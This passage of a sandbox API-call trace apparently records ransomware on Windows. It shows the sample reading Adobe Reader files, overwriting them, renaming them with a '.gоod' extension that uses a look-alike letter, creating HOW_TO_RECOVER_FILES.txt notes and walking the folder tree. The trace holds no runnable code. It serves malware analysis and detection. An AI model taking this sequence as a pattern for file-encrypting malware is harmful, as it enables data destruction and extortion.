ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0268.091] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0268.091] FindClose (in: hFindFile=0x134b040 | out: hFindFile=0x134b040) returned 1 [0268.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0268.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0268.091] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0268.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0268.091] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3a7f8a0 | out: lpFileInformation=0x3a7f8a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x56e)) returned 1 [0268.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0268.092] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0268.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0268.092] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0268.092] GetFileType (hFile=0x89c) returned 0x1 [0268.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0268.092] GetFileType (hFile=0x89c) returned 0x1 [0268.092] GetFileSize (in: hFile=0x89c, lpFileSizeHigh=0x202ec348 | out: lpFileSizeHigh=0x202ec348*=0x0) returned 0x56e [0268.092] ReadFile (in: hFile=0x89c, lpBuffer=0x3a801b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec278, lpOverlapped=0x0 | out: lpBuffer=0x3a801b8*, lpNumberOfBytesRead=0x202ec278*=0x56e, lpOverlapped=0x0) returned 1 [0268.199] CloseHandle (hObject=0x89c) returned 1 [0268.226] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0268.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0268.226] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0268.227] GetFileType (hFile=0x89c) returned 0x1 [0268.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0268.227] GetFileType (hFile=0x89c) returned 0x1 [0268.227] WriteFile (in: hFile=0x89c, lpBuffer=0x3a2d0f8*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x202ec188, lpOverlapped=0x0 | out: lpBuffer=0x3a2d0f8*, lpNumberOfBytesWritten=0x202ec188*=0x570, lpOverlapped=0x0) returned 1 [0268.227] CloseHandle (hObject=0x89c) returned 1 [0268.227] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0268.227] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0268.227] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0268.227] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9c15c170, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x570)) returned 1 [0268.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0268.227] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw\\ui-strings.js.gоod")) returned 1 [0268.228] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0268.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0268.228] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x89c [0268.230] GetFileType (hFile=0x89c) returned 0x1 [0268.230] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0268.230] GetFileType (hFile=0x89c) returned 0x1 [0268.230] WriteFile (in: hFile=0x89c, lpBuffer=0x3a30a08*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x3a30a08*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0268.231] CloseHandle (hObject=0x89c) returned 1 Thread: id = 232 os_tid = 0x2b0 [0173.357] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0173.495] CoGetContextToken (in: pToken=0x203eec70 | out: pToken=0x203eec70) returned 0x0 [0173.495] IUnknown:QueryInterface (in: This=0x12e64d0, riid=0x7ff9122eadf8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x203eeca8 | out: ppvObject=0x203eeca8*=0x12e64e8) returned 0x0 [0173.496] IComThreadingInfo:GetCurrentThreadType (in: This=0x12e64e8, pThreadType=0x203eed18 | out: pThreadType=0x203eed18*=0) returned 0x0 [0173.496] IUnknown:Release (This=0x12e64e8) returned 0x0 [0173.496] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0173.496] CoUninitialize () [0173.496] RoInitialize () returned 0x1 [0173.496] RoUninitialize () returned 0x0 [0173.496] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203edde0) returned 1 [0173.496] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs", nBufferLength=0x105, lpBuffer=0x203ed880, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs", lpFilePart=0x0) returned 0x5b [0173.497] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\*", lpFindFileData=0x203edb00 | out: lpFindFileData=0x203edb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0173.497] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.497] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jquery.ui.touch-punch", cAlternateFileName="JQUERY~1.TOU")) returned 1 [0173.497] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="require", cAlternateFileName="")) returned 1 [0173.497] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="require", cAlternateFileName="")) returned 0 [0173.497] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0173.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203edd20) returned 1 [0173.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203edce0) returned 1 [0173.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203edde0) returned 1 [0173.498] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs", nBufferLength=0x105, lpBuffer=0x203ed880, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs", lpFilePart=0x0) returned 0x5b [0173.498] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\*", lpFindFileData=0x203edb00 | out: lpFindFileData=0x203edb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0173.498] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.498] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jquery.ui.touch-punch", cAlternateFileName="JQUERY~1.TOU")) returned 1 [0173.498] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="require", cAlternateFileName="")) returned 1 [0173.498] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x203edac0 | out: lpFindFileData=0x203edac0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0173.498] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0173.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203edd20) returned 1 [0173.499] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203edce0) returned 1 [0173.499] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ed3b0) returned 1 [0173.499] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch", nBufferLength=0x105, lpBuffer=0x203ece50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch", lpFilePart=0x0) returned 0x71 [0173.499] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\*", lpFindFileData=0x203ed0d0 | out: lpFindFileData=0x203ed0d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0173.500] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.500] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.2.2", cAlternateFileName="020A5B~1.2")) returned 1 [0173.500] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.2.2", cAlternateFileName="020A5B~1.2")) returned 0 [0173.500] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0173.500] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ed2f0) returned 1 [0173.500] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ed2b0) returned 1 [0173.500] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ed3b0) returned 1 [0173.500] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch", nBufferLength=0x105, lpBuffer=0x203ece50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch", lpFilePart=0x0) returned 0x71 [0173.500] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\*", lpFindFileData=0x203ed0d0 | out: lpFindFileData=0x203ed0d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0173.501] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.501] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.2.2", cAlternateFileName="020A5B~1.2")) returned 1 [0173.501] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0173.501] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0173.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ed2f0) returned 1 [0173.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ed2b0) returned 1 [0173.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec980) returned 1 [0173.501] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2", nBufferLength=0x105, lpBuffer=0x203ec420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2", lpFilePart=0x0) returned 0x77 [0173.501] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\*", lpFindFileData=0x203ec6a0 | out: lpFindFileData=0x203ec6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0173.502] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.502] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, 